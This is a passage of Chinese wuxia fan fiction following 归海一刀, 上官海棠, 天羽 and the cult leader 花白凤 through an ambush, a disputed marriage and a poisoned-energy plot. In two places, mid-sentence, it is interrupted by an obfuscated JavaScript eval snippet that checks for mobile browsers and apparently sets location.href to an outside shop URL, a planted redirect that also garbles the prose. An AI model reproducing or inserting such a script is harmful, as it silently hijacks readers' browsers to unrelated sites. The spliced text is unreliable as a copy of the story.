天羽情急出掌,掌力沉厚,将蒙面人生生逼退数步。蒙面人强忍体内翻涌气血,瞪着天羽,一言不发,回身就跑,转眼间已隐入夜色之中。 天羽望着茫茫夜空,不知所措,忽然听见身后异响,原来是一刀正要挣扎起身,赶紧去扶。 “你……你伤得怎么样……” “不要管我!快去……快去追……”一刀着急说话,惹得口中血液倒流入气管,连连咳嗽,但仍脚步不停,手颤抖地指向空无一人的夜色深处。 “追什么?那个蒙面人已经逃了。” “不是!快去追……海棠!” 另一头,蒙面人逃离之后,快步飞奔,片刻不停,一身黑衣与夜色相融,飞越湖面,转眼间已攀上一座苗寨竹楼。 蒙面人翻窗入室,房中灯火通明,一位红衣妇人端坐案前,低眉抚琴,正是南教教主花白凤。 “事情办得如何?” “反正已经按你的意思办了。” 蒙面人扯下蒙面黑布,正是黔国公府二王爷狇雄。烛火映照之下,狇雄双目有神,面容威武英俊,可惜花白凤看也不看。 “归海一刀一定以为我今晚就是冲他而去。不过……” “不过什么?” “阿羽也在那里。” “我知道,是我派她去接近归海一刀。” “为什么不早告诉我?阿羽已经认出我了!” “这对计划没有影响,更何况,阿羽是我的女儿,为什么要告诉你?” 又是拒人于千里之外的话语,但这一次,狇雄一改往常,愤怒地问道: “既然阿羽是你的女儿,为何让她涉险?你可知道刚才她那样护着归海一刀,只怕……” “我说了,这于计划毫无影响!” 眼见花白凤谈及自己女儿竟也如此冷淡,狇雄一时无话可说,过了半晌,只是苦笑一声,道: “何必如此麻烦?你若真的恨意难消,只要一句话,我就去替你杀了他们。” “杀了他们?”花白凤冷笑一声,指尖一拨,刺耳的弦音回荡开来,“四大密探与我无冤无仇,为何要杀?” “既然无冤无仇,又何必……” “我就是要折磨她,让她痛苦!要怪,就怪她既是铁胆神侯的义女,又是无痕公子的徒弟。只有让这些小辈们受苦,才能令他懊悔自己犯下的罪孽,才能真正回敬那些害我、负我之人。” 寒风袭来,烛火摇曳,映照着花白凤阴晴不定的面容,狇雄听着琴声之中幽婉哀怨,心疼不已,却又不知如何安慰,只能默默守护一旁。 再说另一头。 火焰燃尽,人群已散,河滩上只剩一片静谧与幽幽火星,一刀不顾天羽劝阻,一抹嘴角血迹,义无反顾地跃入黑暗之中。天羽见一刀如此决绝,只能强压心中有无数疑问,紧随其后。 二人皆是轻功极佳,沿着一路上的脚印痕迹,很快回到城内,寻到一所宅院。 “这是……”天羽望着雅致而熟悉的建筑,更是惊讶,“……狇府行馆?” 一刀当然知道狇府行馆是何地方,只是他此刻已顾不上许多,黑着脸往里冲,自然被门口侍卫拦下。眼见冲突一触即发,还是天羽及时上前解围。 “等等!”天羽上前,大声喝止侍卫,“睁大你们的眼睛看清楚,是我!” 侍卫也认出天羽,连忙后退,毕恭毕敬行礼。 “刚才可有人闯入府中?” “这……” “什么这啊那的!到底有没有,快说!” “是有一男一女入府,可他们手持世子所赠玉牌,说是世子的朋友,已在府中住了几日,不是可疑之人。” “朋友?狇清何时多了两个朋友?” 正当天羽疑惑之际,一刀已然等不住,率先闯入府中。一刀奔至内院,隐隐听见厢房传出一阵剧烈咳嗽声,心下大惊。 一刀踹开房门,果然一眼见到海棠正躺在床上,咳喘不止,一名苗家男子正守在她的身边,不知所措。 “海棠!” 那一声声撕心裂肺的咳嗽声如锥子一般凿着一刀的心,他飞奔过去,却不料守在海棠身边的苗家男子忽然从背后抽出一把镰刀,径直砍来,一刀顾不上躲避,手背上多了一条血红的伤口。 “不许过来!” 阿凉大喊着挥舞镰刀,他不会武功,眼下对上一看就是武林高手的归海一刀,难免心慌。即使如此,他还是双手颤抖地握紧镰刀,护在阿雪身前。 “不许你碰我的妻子!” “你说……她是你的妻子?” 短短一句话,如晴天霹雳般在一刀脑海中炸响,他努力理清现状,却被打断。 “你们还在争什么?没发现人已经昏倒了吗?” 还是天羽提醒,一刀才回过神来,发现已听不见海棠的咳嗽声。 天羽凑上前来,指着阿凉的鼻子,高声道: “我知道你不信我们,可是眼下她病情危急,你再这样拦着,到时候人死了,后悔的可是你!” 一句话戳中痛处,阿凉禁不住后退两步,犹豫片刻后,终于退到一旁。 一刀立即上前,扶海棠躺好,伸指扣住海棠左手手腕,片刻之后,面露不解。天羽见状,同样出手扣住海棠右手手腕。 “这是怎么了?她生了什么病?” 阿凉在一旁着急地问着,可二人皆是一言不发,只是相比于一刀,天羽眼中多了一分惊疑。 一刀心乱如麻,他主修刀法,医道只是粗通,但他知道,武者修习,须得体内真气时时运转不息,稍有偏差,就会伤及自身。一刀为海棠诊脉,只感觉到海棠内息鼓噪、真气紊乱,却无任何中毒或内伤的迹象,症状像是练功不当引致真气失控。可一刀不明白,海棠习武多年,又师从高人,照理不应出如此差错。但一刀已顾不上细想,眼下海棠体内真气冲撞,如果不为她疏导,放任下去就会走火入魔。于是,一刀将海棠扶起,手按背心,为她输送真气,欲助她导气归元。岂料刚一发功,海棠竟“哇”的一声吐出鲜血。 天羽见状,赶紧劝道: “哎呀,你这样不行!你的内功太霸道,会害死她!让我来吧!” 天羽自小娇养,性格直率,有时说话不知轻重。她见一刀如此着急,直言劝阻,岂料她的无心之言恰恰戳中一刀心中痛处。 “滚开,你这灾星不准碰她!”阿凉嘶吼着将一刀推开。 一刀内力深厚,原本不惧阿凉。可他一见海棠吐血,已被吓得六神无主,再被天羽所说和阿凉那一声“灾星”戳中痛处,心神震荡,头脑一片空白,被一推之下,连连后退,腹部撞上墙角壁桌也浑然不觉。 一刀失神落魄,阿凉暴跳如雷,天羽实在看不下去,果断推着二人,将他们都赶到屋外。 “走走走,都出去,我一个人就可以了!” 说完,“砰”地一声关上房门。 空气陷入寂静,被赶出门外的两人在沉默中来回踱步。此时,月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292479|198515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光如注,清楚地照出二人焦急的神色和彼此猜疑的目光。 “你……”最终,还是阿凉率先开口,“……叫什么名字?” “归海一刀。” 尽管心中已有猜测,但再一次听到这四个字,仍是止不住的嫉妒与愤恨。 “你呢?” “阿凉。” “你与……与海棠究竟是何关系?” “什么海棠?”阿凉眼神疑惑,语气却十分坚决,“她叫阿雪,从来都是。” “阿雪……”一刀心中默念这个陌生的名字,回想刚才的种种场景,花神的宴会、苗家女子的服饰、热情奔放的舞蹈、她与阿凉的相拥,一幕幕闪过的景象展现出一刀从未见过的、最为自由的海棠,也逐渐勾勒出一个一刀最不愿面对猜想:或许过去种种才是最为沉重的的束缚,她抛弃“上官海棠”的身份,选择作为“阿雪”隐居南疆,这才是她想要的生活…… 正当一刀胡思乱想之际,房门打开,天羽探出身来,道: “好了,你们可以进来。” 二人几乎同时挤进门来。一刀眼见海棠躺在床上,气息已然平稳,长舒一口气,正要上前,却见阿凉已经率先一步坐在床沿,双手紧握海棠的手。 这一亲昵的动作自然被一刀看在眼里,但此时一刀的心中,比起愤怒,更多的是酸楚。一刀不知该如何做,只是不自觉地后退一步,将眼神别开。 而这又被一旁的天羽看得清清楚楚,天羽无法理解,明明那样牵肠挂肚、那样焦急寻地找,为何此刻反而退缩不前?天羽更不甘心,为何她所仰慕之人、那个霸道狂气的归海一刀,在上官海棠面前竟是如此胆小怯懦? 这样想着,天羽从怀中掏出一枚小玉瓶,重重放在桌上,以点醒沉浸在各自思绪中的二人。 “这是我们南教秘药百花丹,每日一粒,可助她固本培元、通脉灵神。” “谢谢!”阿凉只是冷冷答了一句,手仍是紧抓着不放。 “喂,话还没说清,别动手动脚!” 天羽一看急了眼,抓起阿凉推到一边,逼问道,“说,你们到底是什么关系?” “我已经说了,阿雪是我的妻子。” “你说是就是吗?”一刀终于不再退缩,他上前一步,怀着最后一丝希望,问道,“你说你们是夫妻,可有媒妁之言?可曾拜堂?谁是证婚人?她真的开口答应要嫁给你吗?” “我不知道你说的那些规矩,我只知道在花神宴会上,阿雪亲自为我倒酒,这就说明她愿意嫁给我,她就是我的妻子。” “倒酒?”这么一说,一刀想起,花神宴会之上,他的确亲眼看见海棠在众人簇拥之下,亲自为阿凉斟酒,之后还被阿凉抱在怀中,而以当时的情景和海棠的神色来开,也不像是被人逼迫,可这究竟意味着什么?一刀想起天羽似乎向他说起过,转头一看,果然天羽亦是有些为难地看向他。 “这……我之前就和你说过,花神之宴是苗家男女相会之所,若是男子对女子有意,就会捧着酒碗走过去,若是……若是女子同样有意,就会亲自为他倒酒。喝酒之后……就算是两人结为夫妻……” 天羽的声音越来越小,她眼见一刀神情由惊讶转为呆滞,心中懊悔,却又无可奈何,只能冲着阿凉。 “可……她不是苗人,她是汉人。更何况是人家相识在先,怎能你说什么就是什么……” “我不管!”阿凉厉声打断天羽,语气十分坚决,“我不管她从前是怎样。我不知道你们是谁,也不想知道,我只知道一件事,就是在你们出现之前,她在这里生活得很快乐、很幸福,是你带来灾祸,是你把她害成这样!” 阿凉指尖逼向一刀,他的话语如同一记重重的耳光,将一刀从混沌的思绪中打醒。 是啊,哪次不是呢?不论如今,还是从前,哪一次不是他的好勇斗狠为海棠惹来灾祸?他曾自以为天下第一的刀法,终究无法救下他所爱之人。 “话可不能这么说,你可知道……” “你说得不错!”一刀伸手拦下急着为他出头的天羽,口中喃喃道,“……是我害了她!” 此话说得一字一顿,无比清楚,可天羽看见,归海一刀的双目已然失去光华。 “今夜那黑衣人是冲我而来,连累你们受到惊吓,我只能抱歉……我会立刻离开临州,从此不再打扰……望你今后……好好待她!” 只见归海一刀单膝跪地,深深一拜。 天羽无法理解,或许换了其他人同样无法理解,这在他人看来有失侠客尊严的一拜,究竟倾注了怎样沉重的情义? 16. 回首决然去 妖妇又谗言 天羽不知道为什么会这样?也不知道该怎么办? 原本月朗星稀的佳节之夜,可转眼间竟下起了滂沱大雨。 天羽追着一刀奔出狇府行馆,却跟丢了踪迹。天羽不知从哪儿找起,但她隐约猜到一刀或许会出城,于是急忙赶到城门,果然看到一刀纵马飞驰、奔出城门的背影。 天羽默默紧随其后。只见一刀不顾倾盆大雨,一路狂奔。夜色漆黑,天羽只能勉强辨认前方人影,寒风迎面而来,吹得她心里发怵。二人奔过田野,穿过树林,登上高山,眼见道路愈发崎岖,一刀仍然速度不减,反而发狂似地更加用力鞭打马儿。 “危险啊!” 凭借对地形的熟悉,天羽知道这是一条死路,前方只有悬崖峭壁。天羽大声呼喊,一刀无动于衷,反而越发疾驰,消失于天羽视野之中。 眼见悬崖越来越近,一刀却松开手中缰绳。就在临近崖壁的最后一刻,终于马儿凭借本能扬蹄止步。 “啊——” 随着一声长啸,一刀借势翻身飞起,一瞬间汗血宝刀脱鞘而出。一刀挥舞宝刀,仿佛要用尽毕生功力,对着峡谷崖壁一顿乱砍。霎时间,电闪雷鸣,地动山摇,土石崩裂,天羽吓得只能护着头躲在一旁。 “海棠——” 又是一声沉重的雷鸣,响彻山谷,却无法掩盖他绝望的呼喊,伴随着无边无际的凄风寒雨,仿佛天地为之恸容。 就像被抛置于一片冰湖之中,黑暗、寒冷、无法呼吸,正在不断地下沉,最后似乎落到了一块石头上。这石头宽厚、坚硬,却十分温暖,仿佛一个人的肩背。她想抱得更紧,却发现手怎么也抬不起来。随后,冰冷的水滴滑落脸庞…… “海棠——” 一声声的呼唤涌来,伴随着冰冷的风雨,这呼声如此悲凉、如此痛苦,令她心疼不已。她想开口唤他、安慰他,却怎么也发不出声音。她不断挣扎,想摆脱这寒冷的湖水,抓住远方的一丝光明,用尽全力呼唤那个思念已久的名字…… “一刀!”海棠由沉睡中惊醒,隐约感觉右手被一双温暖的大手握住,稍稍安心,岂料睁眼一看,却是另一幅面孔。 “阿凉……” “阿雪,你可醒了!”阿凉一晚守在床边,眼下见人醒了,大喜过望,直接坐上床沿,抓住海棠的另一只手捂在胸前,“你昨晚可把我吓坏了……” 阿凉的动作毫不生分,可海棠不由着他,果断地抽回手,问道: “昨晚发生了什么?” “昨晚……昨晚在花神之宴上你突然吐血昏倒,我就把你带回狇府行馆。” “他人在哪里?” “谁?” “归海一刀!” 又一次听到这个名字,阿凉的脸色瞬间黑了,但还是勉强挤出笑容。 “你……你说什么?这里哪有什么归海一刀?” “我见到他了,昨晚在宴会上我清清楚楚地见到他!” 眼下,海棠所有记忆恢复,她甚至清楚地记得昨夜宴会之上,一刀与她遥相对视。她见到了一刀,一刀想必也见到她,可是一刀现在人在何处?为何不在海棠身边? “你……都想起来了?” “对,我都想起来了,我叫上官海棠,他是归海一刀,是我的……” “那我呢?”阿凉猛地打断海棠,声音中已明显透着焦躁愤怒,“我算什么?” “我……我不明白……” “你昨夜不是亲自为我倒酒了吗?你可知道这意味着什么?” 看着海棠惊讶疑惑的眼神,阿凉苦笑一声,却还是怀着渺茫的希望,将花神之宴的习俗以及种种意义一一告知。 海棠惊讶地听完,一时不知该如何面对阿凉,纠结了好半天,才说出一句: “对不起……” “你不必道歉!我是真心……” “可我不是!”海棠一口否认,语气坚决之外,还明显带有愤怒,“你所说的苗家习俗我一概不知,我为你倒酒也绝不是你想的那个意思!你救我性命,又屡次帮我,我自然感激。我当你是恩人、朋友,才为你倒酒,却不想你竟骗我!” “我……我没想骗你,我只是希望……你能留下来……” “无论如何,你的救命之恩我不会忘,除此之外,再无其他。” 话已说尽,海棠翻身下床,却不想刚一起身,忽觉得全身无力,瘫软在地。每每回忆起过去的事情,尤其是关于一刀,海棠就觉得心口有虫咬蚁噬一般,疼痛无比。 见此情形,阿凉赶紧去扶她,却不想被一把推开,看来海棠也不愿再有过多纠缠。 只是海棠不知,她这一推虽然力气不大,却将阿凉如同悬于危崖之上的心彻底推落深渊。阿凉默默地退到一边,冷冷地开口: “你觉得,你还有可以回去的地方吗?” “什么意思?” “就算你再去找归海一刀,他也不愿见你。” 阿凉心虚地将头转向另一侧,却暗暗攥紧拳头,想来已是硬了心肠。 “你拼死也要寻找的人,早已把你忘了,另结新欢!” “你胡说!”海棠站起身来大声反驳,却见阿凉不自然地面向另一侧,顺着他的视线望去,只见桌上一枚精致的小玉瓶。 “这是……”海棠拿起玉瓶,打开轻轻一闻,只觉得一股丹药的气味。 “这是归海一刀留下,不,应该说是他身边的姑娘留下的。” “姑娘……” 海棠不由得攥紧小玉瓶。的确,如此精致物件,不像是一刀携带之物。 “与其说是姑娘,倒不如说是美人。”阿凉的话语冰冷至极,反生出几分讥讽之意,“你仔细想想,如果归海一刀真的记挂着你,怎么会丢下昏迷不醒的你?你流落在外这么久,他可有找过你?你对他牵肠挂肚,他却有了其他姑娘,对你不闻不问,只留下这一瓶药就逃走,还说从今以后不再相扰!” “我不信……我一定要见到他问个清楚!” 阿凉所说的一字一句如同针刺扎入心中,海棠不愿多想,也不敢多想,眼下她需要一个确切的答案。 海棠推开门向外走,却还是被阿凉一把拉住。 “你怎么还是听不懂?这样的人值得你……” “你懂什么?” 海棠终于动怒,使出全身力气推开阿凉,只是这一怒,再次牵动体内真气,她强忍心口虫噬般的疼痛,勉力扶住门框。 “你又了解我多少?我已经什么都没有,如果连归海一刀都不可信,那这世上我还能信谁?” 阿凉被推倒在地,他看见海棠无力地靠在门框上,逆光之中,他第一次发现,这个原本开朗坚强的女孩儿,身影竟是如此单薄脆弱。 话分两头,此刻的归海一刀并不知道心上人的彷徨不安,因为他也正沉沦在痛苦的梦境之中。 他似乎奔跑在一片竹林之中,觉得气血翻涌、胸闷疼痛,脚步却一刻不停,心中只有一个念头:不能让她看到自己这幅模样!终于,他跑到竹林深处,确定四周无人,才松了口气,倒在地上,吐出胸中淤血。他记不起自己是如何受伤,只记得怀中似乎有什么重要的东西。果然,他从怀中摸出一枚羊脂玉佩,温柔地抚摸,如同对着心爱之人,喃喃道: “海棠没事,一刀便放心了!” 是啊,只要海棠没事、海棠幸福,一刀受再多苦难又有何妨! “海棠……” 这是梦吗?一刀只见眼前人影模糊,他勉强抬起手向前伸去,期望能够触到那一袭白衣…… 但现实最终让一刀失望,指尖传来冰凉的触感,他触到的不是记忆中柔软的青丝,而是坚硬的银冠,眼前之人虽然同样眉目如画,却是一位苗家少女。只见她眼圈青黑,面色苍白,想来是看护了一夜。一刀呆呆望了一会儿,果断收回手,将眼神转向他处。 “这是哪里?” “临仙阁,我的房间。” 这么一说,一刀才注意到空中弥漫的绵软花香与床榻四周刺绣精致的帷幔,他被吓得霍然起身,连忙要下床,却被天羽按着不能动弹。 “你别乱动,好不容易才把你救醒,你再乱动真气,昏倒了不是叫我白费心思吗?”看着一刀眼神疑惑,天羽又开口道,“昨晚你伤势复发昏倒,我就把你带了回来。” “那也不用带到你的房间吧!” “你急什么?我又不是要吃了你!” “不是……我一个大男人住在你的房里,不是坏你名声吗?” “少来你们汉人那套!这是我家,我爱带谁来就带谁来,我是南教圣女,谁敢嚼我舌头?” 天羽如此强势,一刀体虚无力,被按着动弹不得,只能道了句“多谢”,随即陷入沉默。过了一会儿,天羽幽幽开口问道: “其实,你并不在意我的名声,只是我让你失望了,对吗?” 尽管整夜看护一刀,十分疲惫,但此刻天羽头脑十分清醒,一刀昏迷中的呼唤、醒来失落的眼神,都如针一般扎在天羽心中。 “不关你的事……” “什么叫不关我的事?”天羽一听急了,跳起来跺脚道,“我真是看不惯你这幅模样!既然心里如此记挂,为什么还要放手?” “倘若放手能令心爱之人幸福,又有何不可?” “你这叫什么道理?爱一个人当然希望能够长相厮守,就该尽力争取!你该不会怕了吧?” “你非这样说也没错!” “你不是吧!昨晚那男子一看就是不懂武功,你堂堂大内密探、天下第一刀,竟然怕……” “我不是怕他,我只是害怕再一次失去……” “你已经失去了!” “这不一样!”天羽越说越急,可一刀却十分平静,“你年纪还小,自然不明白,这不是放手,也没有失去,只不过……是回到从前罢了……” 一刀的回答平静如水,目光却已转向窗外。 一年的时间太长了,长得足够他将过往重新回忆梳理。自归海一刀八岁时入护龙山庄,转眼十多年过去,在这段时光之中,归海一刀与海棠、天涯一同成长、一同习文练武,名为“爱慕”的火花不知何时燃起,等到灼烧心扉之时已然无法自拔。 然而与此同时,一刀发现他与海棠并无过多交集,纵然朝夕相处,却连话也说不上几句,甚至海棠的目光不曾在他身上停留多余一刻。这也难怪,海棠生性活泼开朗,一刀为人木讷呆板,就像是两个不同世界的人。更甚者,一刀发现海棠对天涯已暗生情愫。一刀对此自然十分愤怒,却无可奈何。他也疑惑自己究竟是哪里输给天涯?武功?胆识?还是作为大内密探的地位?怀着疑惑,一刀处处找天涯麻烦,要一较高低,可一刀发现,每每他向天涯挑衅,却换来海棠忧虑不解的目光,那个如太阳般的女孩儿因为自己而蒙上阴霾,这是一刀所不能忍受。于是,一刀选择后退,退回阴影之中,默默守护那一抹如阳光般的笑容。 如今回想起来,十多年的相处之中,一刀已习惯默默站在海棠身后,相比之下,无论是达摩洞中的互诉衷肠,还是雪原之上生死相随的誓言,都太过短暂,短暂得如同一瞬即逝的美梦,不敢过多贪恋。反倒是那一句“我甘愿在这个位置”,与其说是表露心迹,更不如说是一句誓言,一句归海一刀自我立下的誓言: 只要海棠能够快乐幸福,这一点相思之苦又算得了什么? “我不明白,我真的不明白!既然如此情深义重,为何又要轻易放弃?你当初敢闯婚宴、和天下第一富翁抢人,如今……” “你从哪里听说我抢人了?我是闯了婚宴不假,只不过是为了求死……” 一刀苦笑道,回忆当初,一刀听说海棠要嫁给万三千的消息,怀着一腔愤懑前去质问海棠,可当一刀看见海棠满眼泪光地向他倾诉情意之时,他却迷茫了、退缩了,他不敢想象海棠竟愿为他如此牺牲,他第一次意识到自己的仇恨杀戮给海棠造成的伤害,他心疼、他不舍,却又不禁害怕、自我质问到底能否给海棠带来幸福?只不过未等一刀思考出答案,万三千的杀手已经袭来,娘亲的死令一刀重燃怒火,他感到背叛和绝望,却无可奈何,他闯入婚宴只求能够死在海棠手下,却不想…… “……却不想上官海棠选择随你而去,对吗?” 仿佛看穿一刀心中所想,天羽脱口而出。她早已知道一刀与海棠之间的故事,其间细节也经过探听求证,每每深入了解一分,都不禁为二人的故事所感动,患难与共、生死相随,既有如此情义,当不会轻易放弃。她不明白,这位冷漠刀客到底是怀有怎样地决心,才能将心爱之人交予他人? 一刀看着天羽眼中的憧憬,只能苦笑。 是啊,当时的一刀的确没有料想到海棠竟会舍弃富贵,选择与他共同进退,更不会预料到正是这一选择为海棠惹来杀身之祸,留他在世空有无尽悔恨。谁能想到,彼此守望,生死相随,在他人眼中绝美动人的佳话,对当事人而言却成为夺去生命的祸根和无法承受的枷锁…… “可……就算是这样,你也不用急着逃开啊!你既然为了她千里迢迢赶来临州,再多等一夜又何妨?就算真要放弃,也得听她亲口拒绝你。” “不是你说的吗?海棠既已复生,却无任何联络,她化名阿雪,证明她不愿与过往再有牵扯。她武功高强,可昨夜被那男子抱在怀中却没有半点反抗……这足已说明一切,事已至此,我又何必苦苦纠缠?海棠生性善良,我若如此,只会令她自责难堪。” 一刀的话语看似坦然,却心虚地别开眼神。 “更何况,眼下形势也不允许我继续留在临州……” “什么眼下形势?” “昨夜的黑衣人……” 一刀此话一出,天羽的心立刻提到了嗓子眼儿,慌乱之下脱口问道: “你认识他吗?” 可一刀茫然地摇了摇头,苦笑道: “事发突然,我到现在还未理出头绪。更何况我生平结怨众多,哪能一一记住?不过那黑衣人的确武功高强,我就是在全盛之时,百招之内也赢不了他,如此想来他绝非等闲之辈。” “你怕了?” “我有什么可怕的?”一刀苦笑一声,“不过现下我在明,他在暗,防不胜防,若我继续留在临州,丢了性命是小,只怕……” “……只怕连累上官海棠。这才是你真正害怕的,是吗?” 一刀对此沉默不答,但天羽已心知肚明,却无可奈何,只能幽幽开口道: “我都不知道,大内密探归海一刀大侠竟是如此胆怯。” “随你怎么说吧!眼下,海棠暂居狇府行馆,我也已经吩咐北……调派人手暗中保护她。狇王府的权势,再加上护民山庄的力量,足以护她周全。” 一刀这样一说,天羽才想起昨夜离开狇府行馆之时,一刀突然消失不见,想来他是去安排人手。即使为情所伤,归海一刀依然没有自乱阵脚,精密周到地为她考量打算。 “昨夜那黑衣人明显是冲着我来,可我如今伤势未愈,根本不是对手,所以我必须把灾祸引开,离她越远越好!说到这个……”一刀话锋一转,望着天羽问道,“昨夜的黑衣人你可知道来历?” “你为什么要这么问?”天羽慌乱地大声辩解,眼神却不敢看向一刀,“难道你以为那个人是南教派来的?” “我不是这个意思。那黑衣人出手狠辣,一副誓要取我性命的架势。如果南教要我性命的话,一路上你有的是机会,何必劳烦别人?我是看黑衣人武功高强,你昨夜他交过手,所以问你是否能从他的武功看出线索?” “我……我又不是神仙……怎么可能什么都懂……” 得到这样的答案,一刀失望地叹了口气。 “这就难办!” “你……很在意那个人吗?” “现在他在找我麻烦。”一刀的语气恢复了坚毅,“是祸躲不过。若在以往,他敢来,我就敢应战。可现如今我伤势未愈,昨夜和他搏斗之时竟使不上一点内力。话说,你不是已经替我解毒了吗?为什么我的功力还是没有恢复?” “这……” 一刀此话问到了点子上,天羽也不明白。昨夜她为一刀诊脉时,发现一刀体内蛊毒已然全清,按理只需静修调养即可恢复,可她又发现,一刀体内有一股真气不受控制,如同洪水般四处冲撞,时而搅扰腑脏,时而冲撞丹田,更有吞噬壮大之势,若长久下去,只怕一刀要内力衰竭而亡。 “这我也不明白……其实……其实昨夜那个人……” “阿羽——” 天羽似乎有话要说,但突然被一阵女声打断。一刀循声望去,只见纸窗上映出一个窈窕的妇人身形,于是立即抓紧放在一旁的宝刀。 “你不用紧张,这是我的母亲。昨夜我将你带回来,母亲是知道的。” “你的母亲?那就是……” 魔教教主花白凤! “归海大侠身上有伤,又是刚醒,想来仍是疲惫。我已命人备好热水和早膳。阿羽,你先出来,有天大的事,等大侠洗漱用膳之后,再商量不迟。” 既然母亲发话,天羽也就乖乖退了出去,随后就有热水和饭菜送入房间。一刀不动饭菜,只是起身简单洗了把脸,稍稍整理衣服,便提刀出门。 一出门口,看见两名侍女守在门外,她们将一刀引至一间大殿。天羽站在台阶下,正对着珠帘之后的红衣妇人身影。 一刀稳步上前,稍稍欠身一拜,从容不迫,朗声道: “在下护民山庄归海一刀,得教主相助收留,在此谢过!” “归海大侠不必客气,大侠即是皇帝近臣,又是武林豪杰,驾临寒舍,乃是我等荣幸。不知早膳可合胃口?” “心有疑惑,食之无味。教主若能解答,归海一刀自然感激不尽。” “大侠是想问身上伤势?” “是啊!母亲昨夜也为他诊脉,应该知道……” 天羽替一刀着急,抢先开口,可话未说完,却感受到珠帘之后一束锐利的目光,随即噤声。在一旁的一刀不免好奇,一向率性而为的天羽,在母亲面前竟变得如此唯唯诺诺。 “不错,我是为归海大侠诊了脉,不过在此之前,有一件事需要确认。”说着,花白凤将目光转向一刀,“据阿羽所说,她在凤鸣山中受巫帮偷袭,全靠大侠相救,却因此连累大侠身中巫帮蛊毒。之后,又是阿羽运功为大侠祛毒,对吗?” “是。” “大侠可知,天羽为你祛毒的功法乃我南教绝学移花接木大法。阿羽,你还记得当初修练移花接木大法之时,母亲是如何叮嘱你?” “我……” 天羽一时不敢回答。天羽五岁开始修练移花接木大法,修练之初母亲叮嘱,依照心法修炼,按时服用丹药,最重要的是…… “母亲说过,不可将自身修练功力渡予他人……” 这一点,天羽当然记得,只是母亲未曾解释其中缘由,天羽便以为这是因为移花接木大法乃南教不传之秘,而当时一刀中毒危在旦夕,天羽也就顾不得许多。 “你以为母亲只是担心南教功法外传,才这般忧虑吗?”说着,花白凤又看向一刀,“归海大侠有所不知,这移花接木大法乃是我南教秘传内功心法,滇南自古蛊毒盛行,因此,移花接木大法不仅能够增强功力,保百毒不侵,更甚者,可将自身修练功力渡予他人,化解毒性,只是……” 话至此处,花白凤有意停顿看一刀反应,却见一刀面色泰然,不为所动,便继续说道: “这移花接木大法修练并非易事,须由孩童之时练起,依照心法口诀,按时服用秘药,循序渐进,筑牢根基,才能保证功力精纯。倘若已有他派武学根基之人得外力引渡移花接木玄功,虽能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17292480|198515||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 化解体内毒性,但外力引入的真气终非自身之物,在体内无法自行消解,只会与原本内力相冲相克。如今情形也是,当日阿羽着急为大侠解毒,将她自身功力渡予大侠,虽能一时解毒,但这股真气残留体内,与大侠自身雄浑内力相克,长此下去,两败俱伤,轻则武功尽废,重则……” “那……岂不是……” 话已至此,天羽这才明白是自己好心办坏事,害了一刀,心中懊悔至极,急忙看向一刀。却不想,一向待人冷漠的一刀竟回望天羽一眼,目光柔和,无半分责备之意。 “此事乃阿羽莽撞,害了大侠,不过事已至此,只怕……” “如此,就不为难了。” 未等花白凤说完,一刀便开口打断。眼看一刀如此云淡风轻,花白凤心中不悦,她眯起姣好的凤眼仔细打量一刀,却见一刀同样以冷峻目光回望。 “归海大侠这是何意?” “教主不是说得很明白了吗?我体内真气不受控制,伤势难愈,乃贵派圣女以秘功为我疗毒所致。若我猜测不错,若想化解这股真气,需要贵派秘功心法和丹药,但这两样皆为南教不传之秘,我一个外人何德何能,自然不敢劳烦教主。” 一刀这一招先声夺人的确漂亮,但花白凤并未慌乱,只是凝视片刻,随即妩媚一笑,道: “归海大侠言重了!归海大侠是为救阿羽而中毒,眼下伤势也全因阿羽,于情于理,南教都不能坐视不理。只是,先祖秘传之法,教规在上,不能废弛,而以归海大侠盛名,仅做南教一名普通弟子着实屈才……不如这样,我将阿羽许配于大侠,这样大侠便是我南教姑爷,传授心法丹药也不算破戒,岂非两全其美?” 花白凤这一说,倒令人始料未及。天羽惊讶之余,好半天才反应过来,脸腾地烧红,小心翼翼地望向一刀。只见一刀并未动摇,依旧神色冷然,只是眼中多了几分猜疑。 “我知道,以归海大侠雄才,自然不会将我这小小南教放在眼里。可我听闻当今护民山庄虽为皇帝座下直属,风光无限,对外宣称有四位庄主,可若要说道真正掌事之人,只认天字第一号段天涯。要我说,那段天涯资质平庸,他的妻子更是多行不义,哪来的脸面敢身居天字第一号之位?而以归海大侠武功才智,出任武林盟主尚且绰绰有余,更何况一个小小庄主。我南教虽为边陲帮派,不足挂齿,可至少在滇南之地,也算是举足轻重。况且,我只有阿羽一个女儿,等将来我百年之后,教主之位自然只属我唯一的女婿,这样,总好过永远屈居人下,不是吗?” 花白凤这一长串大道理把天羽绕了糊涂,一刀却听明白,他并未立即答复,只低头思忖,片刻之后,忽然仰头放声大笑。 一刀这一笑,倒把众人弄糊涂,尤其是花白凤,她强压心中不悦,冷冷开口问道: “归海大侠是觉得这办法不好?还是我说错了?” “好!如何不好呢?”一刀渐渐收住笑声,一改之前漠然,眼神变得犀利无比,“此法可谓绝妙!教主既把你的女儿派到我身边,将我一路引来滇南,必然已事先将我的生平查明。你知我与天涯怀有旧怨,就以教主之位引诱,为的是让我们相互猜疑,削弱护民山庄实力。” “我与护民山庄无冤无仇,这样做与我有何好处?” 